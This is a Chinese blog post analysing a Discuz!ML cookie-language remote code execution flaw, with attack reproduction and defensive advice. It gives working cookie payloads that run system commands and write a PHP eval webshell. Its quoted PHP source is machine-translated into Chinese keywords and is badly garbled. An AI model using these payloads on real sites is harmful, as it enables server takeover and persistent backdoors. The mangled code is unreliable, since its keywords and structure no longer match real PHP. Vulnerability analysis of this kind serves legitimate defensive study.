discuz ml RCE漏洞分析

0x00概述

7月11日,在网上发现discuz ml(多国语言版)出现RCE突破的消息,突破在于cookie的语言可控并且没有严格过滤,导致可以远程执行代码。

0x01影响范围

Discuz!ML v.3.4,
Discuz!ML v.3.2,
Discuz!ML v.3.3的codersclub.org产品 

0x02进攻重现

http://xxx.org/discuzx/portal.php
选择英语或其他语言

discuz ml RCE漏洞分析

让请求cookie包含xxxx_xxxx_language 再次
访问http://xxx.org/discuzx/portal.php
更改:4gH4_0df5_language = en..phpinfo()。

discuz ml RCE漏洞分析


4gH4_0df5_language = zh-CN..system(’whoami && pwd’)。

discuz ml RCE漏洞分析

LSmZ_2132_language = ES '.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33 %25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29”。;

 

discuz ml RCE漏洞分析

 

0x03检测工具

https://github.com/theLSA/discuz-ml-rce

0x04进攻分析

Discuz ml v3.4适用
dizcuz-ml-34 \ upload \ source \ module \ portal \ portal_index.php:32

include_once模板(’diy:portal / index’);

包含了模板函数渲染的文件
进入模板函数看看
dizcuz-ml-34 \ upload \ source \ function \ function_core.php:524

/ *投票* / 	$ cachefile  =  ' . / data / template / ' DISCUZ_LANG '_' 定义'STYLEID'  STYLEID? 。'_' '_'  $ templateid 。'_' 。str_replace ('/' ,'_' ,$ file )。'.tpl.php' ; 如果($ templateid != 1 && !file_exists ( DISCUZ_ROOT 。  
	      file_exists SUBSTR  DISCUZ_ROOT $ tplfile  0  - 4 '.PHP' 
			&&  file_exists  DISCUZ_ROOT $ tplfile  =  $ tpldir $ filebak ' 。htm '  { 
		$ tplfile  =  './template/default/' $ filebak '.htm' ; 
	} 
	if $ gettplfile  {
		返回 $ tplfile; 
	} 
	checktplrefresh $ tplfile  $ tplfile  @ filemtime  DISCUZ_ROOT $ cachefile  $ templateid  $ cachefile  $ tpldir  $ file 
	返回DISCUZ_ROOT $ cachefile ;

返回 看看缓存文件名
根据poc可知是语言可控,那就是DISCUZ_LANG可控了。
再看看在哪里赋值
dizcuz-ml-34 \ upload \ source \ class \ discuz \ discuz_application.php:304

//通过Cookie设置语言
 
if $ this- > var [ 'cookie' ] [ 'language' ]  {
 
$ lng  =  strtolower $ this- > var [ 'cookie' ] [ 'language' ] ;

从cookie-language取值给$ lng
338

		$ this- > var [ 'oldlanguage' ]  =  $ lng ;  //存储旧语言值以进行比较
 
		//定义DISCUZ_LANG 
		define 'DISCUZ_LANG'  $ lng ;
 
		//将新语言设置为cookie 
		dsetcookie 'language'  $ lng ;
 
		//设置新的语言变量
		$这- >变种[ '语言' ]   =  $ LNG ;

$ lng赋值给了DISCUZ_LANG
根据poc
q3KZ_2132_language = sc’.system(’whoami’)。’;;
最终include_once’sc’.system(’whoami’).’_ 1_1_common_header_forum_index.tpl.php’;
包含重复引号已执行的代码。

discuz ml RCE漏洞分析


执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887
×/

0x05防御方案

1.关注 https://bitbucket.org/vot/discuz.ml/commits/all
2.过滤特殊字符(串)如单引号,双引号,括号,点,系统,php,eval等
。3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。

0x06结语

容易
收录!从部分代码来看貌似这个功能还不够完善……
dizcuz-ml-34 \ upload \ source \ function \ function_core.php:2089

		如果$ _G [ 'config' ] [ '输出' ] [ '语言' ]  ==  'zh_cn'  {
			返回 'SC_UTF8' ; 
		}  elseif  $ _G [ 'config' ] [ '输出' ] [ '语言' ]  ==  'zh_tw'  {
			返回 'TC_UTF8' ; 
		}  else  { 
//投票!!!待办事项:请检查其他语言版本!!!!!!!!!!!!!!!!!!!!!!!!
			 DISCUZ_LANG   '_UTF8' ;

网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/12/15/discuz-ml-rce%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/

发表评论

邮箱地址不会被公开。 必填项已用*标注